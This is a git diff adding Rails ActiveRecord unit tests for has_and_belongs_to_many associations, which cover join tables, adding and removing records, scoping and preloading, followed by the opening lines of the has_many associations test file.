+require "models/price_estimate"
+require "models/club"
+require "models/user"
+require "models/member"
+require "models/membership"
+require "models/sponsor"
+require "models/country"
+require "models/treaty"
+require "models/vertex"
+require "models/publisher"
+require "models/publisher/article"
+require "models/publisher/magazine"
+require "active_support/core_ext/string/conversions"
+
+class ProjectWithAfterCreateHook < ActiveRecord::Base
+  self.table_name = "projects"
+  has_and_belongs_to_many :developers,
+    class_name: "DeveloperForProjectWithAfterCreateHook",
+    join_table: "developers_projects",
+    foreign_key: "project_id",
+    association_foreign_key: "developer_id"
+
+  after_create :add_david
+
+  def add_david
+    david = DeveloperForProjectWithAfterCreateHook.find_by_name("David")
+    david.projects << self
+  end
+end
+
+class DeveloperForProjectWithAfterCreateHook < ActiveRecord::Base
+  self.table_name = "developers"
+  has_and_belongs_to_many :projects,
+    class_name: "ProjectWithAfterCreateHook",
+    join_table: "developers_projects",
+    association_foreign_key: "project_id",
+    foreign_key: "developer_id"
+end
+
+class ProjectWithSymbolsForKeys < ActiveRecord::Base
+  self.table_name = "projects"
+  has_and_belongs_to_many :developers,
+    class_name: "DeveloperWithSymbolsForKeys",
+    join_table: :developers_projects,
+    foreign_key: :project_id,
+    association_foreign_key: "developer_id"
+end
+
+class DeveloperWithSymbolsForKeys < ActiveRecord::Base
+  self.table_name = "developers"
+  has_and_belongs_to_many :projects,
+    class_name: "ProjectWithSymbolsForKeys",
+    join_table: :developers_projects,
+    association_foreign_key: :project_id,
+    foreign_key: "developer_id"
+end
+
+class SubDeveloper < Developer
+  self.table_name = "developers"
+  has_and_belongs_to_many :special_projects,
+    join_table: "developers_projects",
+    foreign_key: "project_id",
+    association_foreign_key: "developer_id"
+end
+
+class DeveloperWithSymbolClassName < Developer
+  has_and_belongs_to_many :projects, class_name: :ProjectWithSymbolsForKeys
+end
+
+ActiveSupport::Deprecation.silence do
+  class DeveloperWithConstantClassName < Developer
+    has_and_belongs_to_many :projects, class_name: ProjectWithSymbolsForKeys
+  end
+end
+
+class DeveloperWithExtendOption < Developer
+  module NamedExtension
+    def category
+      "sns"
+    end
+  end
+
+  has_and_belongs_to_many :projects, extend: NamedExtension
+end
+
+class ProjectUnscopingDavidDefaultScope < ActiveRecord::Base
+  self.table_name = "projects"
+  has_and_belongs_to_many :developers, -> { unscope(where: "name") },
+    class_name: "LazyBlockDeveloperCalledDavid",
+    join_table: "developers_projects",
+    foreign_key: "project_id",
+    association_foreign_key: "developer_id"
+end
+
+class Kitchen < ActiveRecord::Base
+  has_one :sink
+end
+
+class Sink < ActiveRecord::Base
+  has_and_belongs_to_many :sources, join_table: :edges
+  belongs_to :kitchen
+  accepts_nested_attributes_for :kitchen
+end
+
+class Source < ActiveRecord::Base
+  self.table_name = "men"
+  has_and_belongs_to_many :sinks, join_table: :edges
+end
+
+class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
+  fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects,
+           :parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings, :computers
+
+  def setup_data_for_habtm_case
+    ActiveRecord::Base.connection.execute("delete from countries_treaties")
+
+    country = Country.new(name: "India")
+    country.country_id = "c1"
+    country.save!
+
+    treaty = Treaty.new(name: "peace")
+    treaty.treaty_id = "t1"
+    country.treaties << treaty
+  end
+
+  def test_marshal_dump
+    post = posts :welcome
+    preloaded = Post.includes(:categories).find post.id
+    assert_equal preloaded, Marshal.load(Marshal.dump(preloaded))
+  end
+
+  def test_should_property_quote_string_primary_keys
+    setup_data_for_habtm_case
+
+    con = ActiveRecord::Base.connection
+    sql = "select * from countries_treaties"
+    record = con.select_rows(sql).last
+    assert_equal "c1", record[0]
+    assert_equal "t1", record[1]
+  end
+
+  def test_proper_usage_of_primary_keys_and_join_table
+    setup_data_for_habtm_case
+
+    assert_equal "country_id", Country.primary_key
+    assert_equal "treaty_id", Treaty.primary_key
+
+    country = Country.first
+    assert_equal 1, country.treaties.count
+  end
+
+  def test_join_table_composite_primary_key_should_not_warn
+    country = Country.new(name: "India")
+    country.country_id = "c1"
+    country.save!
+
+    treaty = Treaty.new(name: "peace")
+    treaty.treaty_id = "t1"
+    warning = capture(:stderr) do
+      country.treaties << treaty
+    end
+    assert_no_match(/WARNING: Active Record does not support composite primary key\./, warning)
+  end
+
+  def test_has_and_belongs_to_many
+    david = Developer.find(1)
+
+    assert !david.projects.empty?
+    assert_equal 2, david.projects.size
+
+    active_record = Project.find(1)
+    assert !active_record.developers.empty?
+    assert_equal 3, active_record.developers.size
+    assert_includes active_record.developers, david
+  end
+
+  def test_adding_single
+    jamis = Developer.find(2)
+    jamis.projects.reload # causing the collection to load
+    action_controller = Project.find(2)
+    assert_equal 1, jamis.projects.size
+    assert_equal 1, action_controller.developers.size
+
+    jamis.projects << action_controller
+
+    assert_equal 2, jamis.projects.size
+    assert_equal 2, jamis.projects.reload.size
+    assert_equal 2, action_controller.developers.reload.size
+  end
+
+  def test_adding_type_mismatch
+    jamis = Developer.find(2)
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { jamis.projects << nil }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { jamis.projects << 1 }
+  end
+
+  def test_adding_from_the_project
+    jamis = Developer.find(2)
+    action_controller = Project.find(2)
+    action_controller.developers.reload
+    assert_equal 1, jamis.projects.size
+    assert_equal 1, action_controller.developers.size
+
+    action_controller.developers << jamis
+
+    assert_equal 2, jamis.projects.reload.size
+    assert_equal 2, action_controller.developers.size
+    assert_equal 2, action_controller.developers.reload.size
+  end
+
+  def test_adding_from_the_project_fixed_timestamp
+    jamis = Developer.find(2)
+    action_controller = Project.find(2)
+    action_controller.developers.reload
+    assert_equal 1, jamis.projects.size
+    assert_equal 1, action_controller.developers.size
+    updated_at = jamis.updated_at
+
+    action_controller.developers << jamis
+
+    assert_equal updated_at, jamis.updated_at
+    assert_equal 2, jamis.projects.reload.size
+    assert_equal 2, action_controller.developers.size
+    assert_equal 2, action_controller.developers.reload.size
+  end
+
+  def test_adding_multiple
+    aredridel = Developer.new("name" => "Aredridel")
+    aredridel.save
+    aredridel.projects.reload
+    aredridel.projects.push(Project.find(1), Project.find(2))
+    assert_equal 2, aredridel.projects.size
+    assert_equal 2, aredridel.projects.reload.size
+  end
+
+  def test_adding_a_collection
+    aredridel = Developer.new("name" => "Aredridel")
+    aredridel.save
+    aredridel.projects.reload
+    aredridel.projects.concat([Project.find(1), Project.find(2)])
+    assert_equal 2, aredridel.projects.size
+    assert_equal 2, aredridel.projects.reload.size
+  end
+
+  def test_habtm_adding_before_save
+    no_of_devels = Developer.count
+    no_of_projects = Project.count
+    aredridel = Developer.new("name" => "Aredridel")
+    aredridel.projects.concat([Project.find(1), p = Project.new("name" => "Projekt")])
+    assert !aredridel.persisted?
+    assert !p.persisted?
+    assert aredridel.save
+    assert aredridel.persisted?
+    assert_equal no_of_devels + 1, Developer.count
+    assert_equal no_of_projects + 1, Project.count
+    assert_equal 2, aredridel.projects.size
+    assert_equal 2, aredridel.projects.reload.size
+  end
+
+  def test_habtm_saving_multiple_relationships
+    new_project = Project.new("name" => "Grimetime")
+    amount_of_developers = 4
+    developers = (0...amount_of_developers).collect { |i| Developer.create(name: "JME #{i}") }.reverse
+
+    new_project.developer_ids = [developers[0].id, developers[1].id]
+    new_project.developers_with_callback_ids = [developers[2].id, developers[3].id]
+    assert new_project.save
+
+    new_project.reload
+    assert_equal amount_of_developers, new_project.developers.size
+    assert_equal developers, new_project.developers
+  end
+
+  def test_habtm_distinct_order_preserved
+    assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).non_unique_developers
+    assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).developers
+  end
+
+  def test_habtm_collection_size_from_build
+    devel = Developer.create("name" => "Fred Wu")
+    devel.projects << Project.create("name" => "Grimetime")
+    devel.projects.build
+
+    assert_equal 2, devel.projects.size
+  end
+
+  def test_habtm_collection_size_from_params
+    devel = Developer.new(
+      projects_attributes: {
+        "0" => {}
+      })
+
+    assert_equal 1, devel.projects.size
+  end
+
+  def test_build
+    devel = Developer.find(1)
+    proj = assert_no_queries(ignore_none: false) { devel.projects.build("name" => "Projekt") }
+    assert !devel.projects.loaded?
+
+    assert_equal devel.projects.last, proj
+    assert devel.projects.loaded?
+
+    assert !proj.persisted?
+    devel.save
+    assert proj.persisted?
+    assert_equal devel.projects.last, proj
+    assert_equal Developer.find(1).projects.sort_by(&:id).last, proj  # prove join table is updated
+  end
+
+  def test_new_aliased_to_build
+    devel = Developer.find(1)
+    proj = assert_no_queries(ignore_none: false) { devel.projects.new("name" => "Projekt") }
+    assert !devel.projects.loaded?
+
+    assert_equal devel.projects.last, proj
+    assert devel.projects.loaded?
+
+    assert !proj.persisted?
+    devel.save
+    assert proj.persisted?
+    assert_equal devel.projects.last, proj
+    assert_equal Developer.find(1).projects.sort_by(&:id).last, proj  # prove join table is updated
+  end
+
+  def test_build_by_new_record
+    devel = Developer.new(name: "Marcel", salary: 75000)
+    devel.projects.build(name: "Make bed")
+    proj2 = devel.projects.build(name: "Lie in it")
+    assert_equal devel.projects.last, proj2
+    assert !proj2.persisted?
+    devel.save
+    assert devel.persisted?
+    assert proj2.persisted?
+    assert_equal devel.projects.last, proj2
+    assert_equal Developer.find_by_name("Marcel").projects.last, proj2  # prove join table is updated
+  end
+
+  def test_create
+    devel = Developer.find(1)
+    proj = devel.projects.create("name" => "Projekt")
+    assert !devel.projects.loaded?
+
+    assert_equal devel.projects.last, proj
+    assert !devel.projects.loaded?
+
+    assert proj.persisted?
+    assert_equal Developer.find(1).projects.sort_by(&:id).last, proj  # prove join table is updated
+  end
+
+  def test_creation_respects_hash_condition
+    # in Oracle '' is saved as null therefore need to save ' ' in not null column
+    post = categories(:general).post_with_conditions.build(body: " ")
+
+    assert        post.save
+    assert_equal  "Yet Another Testing Title", post.title
+
+    # in Oracle '' is saved as null therefore need to save ' ' in not null column
+    another_post = categories(:general).post_with_conditions.create(body: " ")
+
+    assert        another_post.persisted?
+    assert_equal  "Yet Another Testing Title", another_post.title
+  end
+
+  def test_distinct_after_the_fact
+    dev = developers(:jamis)
+    dev.projects << projects(:active_record)
+    dev.projects << projects(:active_record)
+
+    assert_equal 3, dev.projects.size
+    assert_equal 1, dev.projects.uniq.size
+  end
+
+  def test_distinct_before_the_fact
+    projects(:active_record).developers << developers(:jamis)
+    projects(:active_record).developers << developers(:david)
+    assert_equal 3, projects(:active_record, :reload).developers.size
+  end
+
+  def test_distinct_option_prevents_duplicate_push
+    project = projects(:active_record)
+    project.developers << developers(:jamis)
+    project.developers << developers(:david)
+    assert_equal 3, project.developers.size
+
+    project.developers << developers(:david)
+    project.developers << developers(:jamis)
+    assert_equal 3, project.developers.size
+  end
+
+  def test_distinct_when_association_already_loaded
+    project = projects(:active_record)
+    project.developers << [ developers(:jamis), developers(:david), developers(:jamis), developers(:david) ]
+    assert_equal 3, Project.includes(:developers).find(project.id).developers.size
+  end
+
+  def test_deleting
+    david = Developer.find(1)
+    active_record = Project.find(1)
+    david.projects.reload
+    assert_equal 2, david.projects.size
+    assert_equal 3, active_record.developers.size
+
+    david.projects.delete(active_record)
+
+    assert_equal 1, david.projects.size
+    assert_equal 1, david.projects.reload.size
+    assert_equal 2, active_record.developers.reload.size
+  end
+
+  def test_deleting_array
+    david = Developer.find(1)
+    david.projects.reload
+    david.projects.delete(Project.all.to_a)
+    assert_equal 0, david.projects.size
+    assert_equal 0, david.projects.reload.size
+  end
+
+  def test_deleting_all
+    david = Developer.find(1)
+    david.projects.reload
+    david.projects.clear
+    assert_equal 0, david.projects.size
+    assert_equal 0, david.projects.reload.size
+  end
+
+  def test_removing_associations_on_destroy
+    david = DeveloperWithBeforeDestroyRaise.find(1)
+    assert !david.projects.empty?
+    david.destroy
+    assert david.projects.empty?
+    assert DeveloperWithBeforeDestroyRaise.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = 1").empty?
+  end
+
+  def test_destroying
+    david = Developer.find(1)
+    project = Project.find(1)
+    david.projects.reload
+    assert_equal 2, david.projects.size
+    assert_equal 3, project.developers.size
+
+    assert_no_difference "Project.count" do
+      david.projects.destroy(project)
+    end
+
+    join_records = Developer.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id} AND project_id = #{project.id}")
+    assert join_records.empty?
+
+    assert_equal 1, david.reload.projects.size
+    assert_equal 1, david.projects.reload.size
+  end
+
+  def test_destroying_many
+    david = Developer.find(1)
+    david.projects.reload
+    projects = Project.all.to_a
+
+    assert_no_difference "Project.count" do
+      david.projects.destroy(*projects)
+    end
+
+    join_records = Developer.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id}")
+    assert join_records.empty?
+
+    assert_equal 0, david.reload.projects.size
+    assert_equal 0, david.projects.reload.size
+  end
+
+  def test_destroy_all
+    david = Developer.find(1)
+    david.projects.reload
+    assert !david.projects.empty?
+
+    assert_no_difference "Project.count" do
+      david.projects.destroy_all
+    end
+
+    join_records = Developer.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id}")
+    assert join_records.empty?
+
+    assert david.projects.empty?
+    assert david.projects.reload.empty?
+  end
+
+  def test_destroy_associations_destroys_multiple_associations
+    george = parrots(:george)
+    assert !george.pirates.empty?
+    assert !george.treasures.empty?
+
+    assert_no_difference "Pirate.count" do
+      assert_no_difference "Treasure.count" do
+        george.destroy_associations
+      end
+    end
+
+    join_records = Parrot.connection.select_all("SELECT * FROM parrots_pirates WHERE parrot_id = #{george.id}")
+    assert join_records.empty?
+    assert george.pirates.reload.empty?
+
+    join_records = Parrot.connection.select_all("SELECT * FROM parrots_treasures WHERE parrot_id = #{george.id}")
+    assert join_records.empty?
+    assert george.treasures.reload.empty?
+  end
+
+  def test_associations_with_conditions
+    assert_equal 3, projects(:active_record).developers.size
+    assert_equal 1, projects(:active_record).developers_named_david.size
+    assert_equal 1, projects(:active_record).developers_named_david_with_hash_conditions.size
+
+    assert_equal developers(:david), projects(:active_record).developers_named_david.find(developers(:david).id)
+    assert_equal developers(:david), projects(:active_record).developers_named_david_with_hash_conditions.find(developers(:david).id)
+    assert_equal developers(:david), projects(:active_record).salaried_developers.find(developers(:david).id)
+
+    projects(:active_record).developers_named_david.clear
+    assert_equal 2, projects(:active_record, :reload).developers.size
+  end
+
+  def test_find_in_association
+    # Using sql
+    assert_equal developers(:david), projects(:active_record).developers.find(developers(:david).id), "SQL find"
+
+    # Using ruby
+    active_record = projects(:active_record)
+    active_record.developers.reload
+    assert_equal developers(:david), active_record.developers.find(developers(:david).id), "Ruby find"
+  end
+
+  def test_include_uses_array_include_after_loaded
+    project = projects(:active_record)
+    project.developers.load_target
+
+    developer = project.developers.first
+
+    assert_no_queries(ignore_none: false) do
+      assert project.developers.loaded?
+      assert_includes project.developers, developer
+    end
+  end
+
+  def test_include_checks_if_record_exists_if_target_not_loaded
+    project = projects(:active_record)
+    developer = project.developers.first
+
+    project.reload
+    assert ! project.developers.loaded?
+    assert_queries(1) do
+      assert_includes project.developers, developer
+    end
+    assert ! project.developers.loaded?
+  end
+
+  def test_include_returns_false_for_non_matching_record_to_verify_scoping
+    project = projects(:active_record)
+    developer = Developer.create name: "Bryan", salary: 50_000
+
+    assert ! project.developers.loaded?
+    assert ! project.developers.include?(developer)
+  end
+
+  def test_find_with_merged_options
+    assert_equal 1, projects(:active_record).limited_developers.size
+    assert_equal 1, projects(:active_record).limited_developers.to_a.size
+    assert_equal 3, projects(:active_record).limited_developers.limit(nil).to_a.size
+  end
+
+  def test_dynamic_find_should_respect_association_order
+    # Developers are ordered 'name DESC, id DESC'
+    high_id_jamis = projects(:active_record).developers.create(name: "Jamis")
+
+    assert_equal high_id_jamis, projects(:active_record).developers.merge(where: "name = 'Jamis'").first
+    assert_equal high_id_jamis, projects(:active_record).developers.find_by_name("Jamis")
+  end
+
+  def test_find_should_append_to_association_order
+    ordered_developers = projects(:active_record).developers.order("projects.id")
+    assert_equal ["developers.name desc, developers.id desc", "projects.id"], ordered_developers.order_values
+  end
+
+  def test_dynamic_find_all_should_respect_readonly_access
+    projects(:active_record).readonly_developers.each { |d| assert_raise(ActiveRecord::ReadOnlyRecord) { d.save!  } if d.valid? }
+    projects(:active_record).readonly_developers.each(&:readonly?)
+  end
+
+  def test_new_with_values_in_collection
+    jamis = DeveloperForProjectWithAfterCreateHook.find_by_name("Jamis")
+    david = DeveloperForProjectWithAfterCreateHook.find_by_name("David")
+    project = ProjectWithAfterCreateHook.new(name: "Cooking with Bertie")
+    project.developers << jamis
+    project.save!
+    project.reload
+
+    assert_includes project.developers, jamis
+    assert_includes project.developers, david
+  end
+
+  def test_find_in_association_with_options
+    developers = projects(:active_record).developers.to_a
+    assert_equal 3, developers.size
+
+    assert_equal developers(:poor_jamis), projects(:active_record).developers.where("salary < 10000").first
+  end
+
+  def test_association_with_extend_option
+    eponine = DeveloperWithExtendOption.create(name: "Eponine")
+    assert_equal "sns", eponine.projects.category
+  end
+
+  def test_replace_with_less
+    david = developers(:david)
+    david.projects = [projects(:action_controller)]
+    assert david.save
+    assert_equal 1, david.projects.length
+  end
+
+  def test_replace_with_new
+    david = developers(:david)
+    david.projects = [projects(:action_controller), Project.new("name" => "ActionWebSearch")]
+    david.save
+    assert_equal 2, david.projects.length
+    assert_not_includes david.projects, projects(:active_record)
+  end
+
+  def test_replace_on_new_object
+    new_developer = Developer.new("name" => "Matz")
+    new_developer.projects = [projects(:action_controller), Project.new("name" => "ActionWebSearch")]
+    new_developer.save
+    assert_equal 2, new_developer.projects.length
+  end
+
+  def test_consider_type
+    developer = Developer.first
+    special_project = SpecialProject.create("name" => "Special Project")
+
+    other_project = developer.projects.first
+    developer.special_projects << special_project
+    developer.reload
+
+    assert_includes developer.projects, special_project
+    assert_includes developer.special_projects, special_project
+    assert_not_includes developer.special_projects, other_project
+  end
+
+  def test_symbol_join_table
+    developer = Developer.first
+    sp = developer.sym_special_projects.create("name" => "omg")
+    developer.reload
+    assert_includes developer.sym_special_projects, sp
+  end
+
+  def test_update_attributes_after_push_without_duplicate_join_table_rows
+    developer = Developer.new("name" => "Kano")
+    project = SpecialProject.create("name" => "Special Project")
+    assert developer.save
+    developer.projects << project
+    developer.update_columns("name" => "Bruza")
+    assert_equal 1, Developer.connection.select_value(<<-end_sql).to_i
+      SELECT count(*) FROM developers_projects
+      WHERE project_id = #{project.id}
+      AND developer_id = #{developer.id}
+    end_sql
+  end
+
+  def test_updating_attributes_on_non_rich_associations
+    welcome = categories(:technology).posts.first
+    welcome.title = "Something else"
+    assert welcome.save!
+  end
+
+  def test_habtm_respects_select
+    categories(:technology).select_testing_posts.reload.each do |o|
+      assert_respond_to o, :correctness_marker
+    end
+    assert_respond_to categories(:technology).select_testing_posts.first, :correctness_marker
+  end
+
+  def test_habtm_selects_all_columns_by_default
+    assert_equal Project.column_names.sort, developers(:david).projects.first.attributes.keys.sort
+  end
+
+  def test_habtm_respects_select_query_method
+    assert_equal ["id"], developers(:david).projects.select(:id).first.attributes.keys
+  end
+
+  def test_join_table_alias
+    # FIXME: `references` has no impact on the aliases generated for the join
+    # query.  The fact that we pass `:developers_projects_join` to `references`
+    # and that the SQL string contains `developers_projects_join` is merely a
+    # coincidence.
+    assert_equal(
+      3,
+      Developer.references(:developers_projects_join).merge(
+        includes: { projects: :developers },
+        where: "projects_developers_projects_join.joined_on IS NOT NULL"
+      ).to_a.size
+    )
+  end
+
+  def test_join_with_group
+    # FIXME: `references` has no impact on the aliases generated for the join
+    # query.  The fact that we pass `:developers_projects_join` to `references`
+    # and that the SQL string contains `developers_projects_join` is merely a
+    # coincidence.
+    group = Developer.columns.inject([]) do |g, c|
+      g << "developers.#{c.name}"
+      g << "developers_projects_2.#{c.name}"
+    end
+    Project.columns.each { |c| group << "projects.#{c.name}" }
+
+    assert_equal(
+      3,
+      Developer.references(:developers_projects_join).merge(
+        includes: { projects: :developers }, where: "projects_developers_projects_join.joined_on IS NOT NULL",
+        group: group.join(",")
+      ).to_a.size
+    )
+  end
+
+  def test_find_grouped
+    all_posts_from_category1 = Post.all.merge!(where: "category_id = 1", joins: :categories).to_a
+    grouped_posts_of_category1 = Post.all.merge!(where: "category_id = 1", group: "author_id", select: "count(posts.id) as posts_count", joins: :categories).to_a
+    assert_equal 5, all_posts_from_category1.size
+    assert_equal 2, grouped_posts_of_category1.size
+  end
+
+  def test_find_scoped_grouped
+    assert_equal 5, categories(:general).posts_grouped_by_title.to_a.size
+    assert_equal 1, categories(:technology).posts_grouped_by_title.to_a.size
+  end
+
+  def test_find_scoped_grouped_having
+    assert_equal 2, projects(:active_record).well_paid_salary_groups.to_a.size
+    assert projects(:active_record).well_paid_salary_groups.all? { |g| g.salary > 10000 }
+  end
+
+  def test_get_ids
+    assert_equal projects(:active_record, :action_controller).map(&:id).sort, developers(:david).project_ids.sort
+    assert_equal [projects(:active_record).id], developers(:jamis).project_ids
+  end
+
+  def test_get_ids_for_loaded_associations
+    developer = developers(:david)
+    developer.projects.reload
+    assert_queries(0) do
+      developer.project_ids
+      developer.project_ids
+    end
+  end
+
+  def test_get_ids_for_unloaded_associations_does_not_load_them
+    developer = developers(:david)
+    assert !developer.projects.loaded?
+    assert_equal projects(:active_record, :action_controller).map(&:id).sort, developer.project_ids.sort
+    assert !developer.projects.loaded?
+  end
+
+  def test_assign_ids
+    developer = Developer.new("name" => "Joe")
+    developer.project_ids = projects(:active_record, :action_controller).map(&:id)
+    developer.save
+    developer.reload
+    assert_equal 2, developer.projects.length
+    assert_equal [projects(:active_record), projects(:action_controller)].map(&:id).sort, developer.project_ids.sort
+  end
+
+  def test_assign_ids_ignoring_blanks
+    developer = Developer.new("name" => "Joe")
+    developer.project_ids = [projects(:active_record).id, nil, projects(:action_controller).id, ""]
+    developer.save
+    developer.reload
+    assert_equal 2, developer.projects.length
+    assert_equal [projects(:active_record), projects(:action_controller)].map(&:id).sort, developer.project_ids.sort
+  end
+
+  def test_scoped_find_on_through_association_doesnt_return_read_only_records
+    tag = Post.find(1).tags.find_by_name("General")
+
+    assert_nothing_raised do
+      tag.save!
+    end
+  end
+
+  def test_has_many_through_polymorphic_has_manys_works
+    assert_equal [10, 20].to_set, pirates(:redbeard).treasure_estimates.map(&:price).to_set
+  end
+
+  def test_symbols_as_keys
+    developer = DeveloperWithSymbolsForKeys.new(name: "David")
+    project = ProjectWithSymbolsForKeys.new(name: "Rails Testing")
+    project.developers << developer
+    project.save!
+
+    assert_equal 1, project.developers.size
+    assert_equal 1, developer.projects.size
+    assert_equal developer, project.developers.first
+    assert_equal project, developer.projects.first
+  end
+
+  def test_dynamic_find_should_respect_association_include
+    # SQL error in sort clause if :include is not included
+    # due to Unknown column 'authors.id'
+    assert Category.find(1).posts_with_authors_sorted_by_author_id.find_by_title("Welcome to the weblog")
+  end
+
+  def test_count
+    david = Developer.find(1)
+    assert_equal 2, david.projects.count
+  end
+
+  def test_association_proxy_transaction_method_starts_transaction_in_association_class
+    assert_called(Post, :transaction) do
+      Category.first.posts.transaction do
+        # nothing
+      end
+    end
+  end
+
+  def test_caching_of_columns
+    david = Developer.find(1)
+    # clear cache possibly created by other tests
+    david.projects.reset_column_information
+
+    assert_queries(:any) { david.projects.columns }
+    assert_no_queries { david.projects.columns }
+
+    ## and again to verify that reset_column_information clears the cache correctly
+    david.projects.reset_column_information
+
+    assert_queries(:any) { david.projects.columns }
+    assert_no_queries { david.projects.columns }
+  end
+
+  def test_attributes_are_being_set_when_initialized_from_habtm_association_with_where_clause
+    new_developer = projects(:action_controller).developers.where(name: "Marcelo").build
+    assert_equal new_developer.name, "Marcelo"
+  end
+
+  def test_attributes_are_being_set_when_initialized_from_habtm_association_with_multiple_where_clauses
+    new_developer = projects(:action_controller).developers.where(name: "Marcelo").where(salary: 90_000).build
+    assert_equal new_developer.name, "Marcelo"
+    assert_equal new_developer.salary, 90_000
+  end
+
+  def test_include_method_in_has_and_belongs_to_many_association_should_return_true_for_instance_added_with_build
+    project = Project.new
+    developer = project.developers.build
+    assert_includes project.developers, developer
+  end
+
+  def test_destruction_does_not_error_without_primary_key
+    redbeard = pirates(:redbeard)
+    george = parrots(:george)
+    redbeard.parrots << george
+    assert_equal 2, george.pirates.count
+    Pirate.includes(:parrots).where(parrot: redbeard.parrot).find(redbeard.id).destroy
+    assert_equal 1, george.pirates.count
+    assert_equal [], Pirate.where(id: redbeard.id)
+  end
+
+  def test_has_and_belongs_to_many_associations_on_new_records_use_null_relations
+    projects = Developer.new.projects
+    assert_no_queries(ignore_none: false) do
+      assert_equal [], projects
+      assert_equal [], projects.where(title: "omg")
+      assert_equal [], projects.pluck(:title)
+      assert_equal 0, projects.count
+    end
+  end
+
+  def test_association_with_validate_false_does_not_run_associated_validation_callbacks_on_create
+    rich_person = RichPerson.new
+
+    treasure = Treasure.new
+    treasure.rich_people << rich_person
+    treasure.valid?
+
+    assert_equal 1, treasure.rich_people.size
+    assert_nil rich_person.first_name, "should not run associated person validation on create when validate: false"
+  end
+
+  def test_association_with_validate_false_does_not_run_associated_validation_callbacks_on_update
+    rich_person = RichPerson.create!
+    person_first_name = rich_person.first_name
+    assert_not_nil person_first_name
+
+    treasure = Treasure.new
+    treasure.rich_people << rich_person
+    treasure.valid?
+
+    assert_equal 1, treasure.rich_people.size
+    assert_equal person_first_name, rich_person.first_name, "should not run associated person validation on update when validate: false"
+  end
+
+  def test_custom_join_table
+    assert_equal "edges", Vertex.reflect_on_association(:sources).join_table
+  end
+
+  def test_has_and_belongs_to_many_in_a_namespaced_model_pointing_to_a_namespaced_model
+    magazine = Publisher::Magazine.create
+    article = Publisher::Article.create
+    magazine.articles << article
+    magazine.save
+
+    assert_includes magazine.articles, article
+  end
+
+  def test_has_and_belongs_to_many_in_a_namespaced_model_pointing_to_a_non_namespaced_model
+    article = Publisher::Article.create
+    tag = Tag.create
+    article.tags << tag
+    article.save
+
+    assert_includes article.tags, tag
+  end
+
+  def test_redefine_habtm
+    child = SubDeveloper.new("name" => "Aredridel")
+    child.special_projects << SpecialProject.new("name" => "Special Project")
+    assert child.save, "child object should be saved"
+  end
+
+  def test_habtm_with_reflection_using_class_name_and_fixtures
+    assert_not_nil Developer._reflections["shared_computers"]
+    # Checking the fixture for named association is important here, because it's the only way
+    # we've been able to reproduce this bug
+    assert_not_nil File.read(File.expand_path("../../fixtures/developers.yml", __dir__)).index("shared_computers")
+    assert_equal developers(:david).shared_computers.first, computers(:laptop)
+  end
+
+  def test_with_symbol_class_name
+    assert_nothing_raised do
+      developer = DeveloperWithSymbolClassName.new
+      developer.projects
+    end
+  end
+
+  def test_with_constant_class_name
+    assert_nothing_raised do
+      developer = DeveloperWithConstantClassName.new
+      developer.projects
+    end
+  end
+
+  def test_alternate_database
+    professor = Professor.create(name: "Plum")
+    course = Course.create(name: "Forensics")
+    assert_equal 0, professor.courses.count
+    assert_nothing_raised do
+      professor.courses << course
+    end
+    assert_equal 1, professor.courses.count
+  end
+
+  def test_habtm_scope_can_unscope
+    project = ProjectUnscopingDavidDefaultScope.new
+    project.save!
+
+    developer = LazyBlockDeveloperCalledDavid.new(name: "Not David")
+    developer.save!
+    project.developers << developer
+
+    projects = ProjectUnscopingDavidDefaultScope.includes(:developers).where(id: project.id)
+    assert_equal 1, projects.first.developers.size
+  end
+
+  def test_preloaded_associations_size
+    assert_equal Project.first.salaried_developers.size,
+      Project.preload(:salaried_developers).first.salaried_developers.size
+
+    assert_equal Project.includes(:salaried_developers).references(:salaried_developers).first.salaried_developers.size,
+      Project.preload(:salaried_developers).first.salaried_developers.size
+
+    # Nested HATBM
+    first_project = Developer.first.projects.first
+    preloaded_first_project =
+      Developer.preload(projects: :salaried_developers).
+        first.
+        projects.
+        detect { |p| p.id == first_project.id }
+
+    assert preloaded_first_project.salaried_developers.loaded?, true
+    assert_equal first_project.salaried_developers.size, preloaded_first_project.salaried_developers.size
+  end
+
+  def test_has_and_belongs_to_many_is_useable_with_belongs_to_required_by_default
+    assert_difference "Project.first.developers_required_by_default.size", 1 do
+      Project.first.developers_required_by_default.create!(name: "Sean", salary: 50000)
+    end
+  end
+
+  def test_association_name_is_the_same_as_join_table_name
+    user = User.create!
+    assert_nothing_raised { user.jobs_pool.clear }
+  end
+
+  def test_has_and_belongs_to_many_while_partial_writes_false
+    begin
+      original_partial_writes = ActiveRecord::Base.partial_writes
+      ActiveRecord::Base.partial_writes = false
+      developer = Developer.new(name: "Mehmet Emin İNAÇ")
+      developer.projects << Project.new(name: "Bounty")
+
+      assert developer.save
+    ensure
+      ActiveRecord::Base.partial_writes = original_partial_writes
+    end
+  end
+
+  def test_has_and_belongs_to_many_with_belongs_to
+    sink = Sink.create! kitchen: Kitchen.new, sources: [Source.new]
+    assert_equal 1, sink.sources.count
+  end
+end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
new file mode 100644
index 0000000000..2ab8a6bf03
--- /dev/null
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -0,0 +1,2597 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/computer"
+require "models/project"
+require "models/company"
+require "models/contract"
+require "models/topic"
+require "models/reply"
+require "models/category"
+require "models/image"
+require "models/post"
+require "models/author"
+require "models/essay"
+require "models/comment"
+require "models/person"
+require "models/reader"
+require "models/tagging"
+require "models/tag"
+require "models/invoice"
+require "models/line_item"
+require "models/car"
+require "models/bulb"
+require "models/engine"
+require "models/categorization"
+require "models/minivan"
+require "models/speedometer"
+require "models/reference"
+require "models/job"
+require "models/college"
+require "models/student"
+require "models/pirate"
+require "models/ship"
+require "models/ship_part"
+require "models/treasure"
+require "models/parrot"
+require "models/tyre"
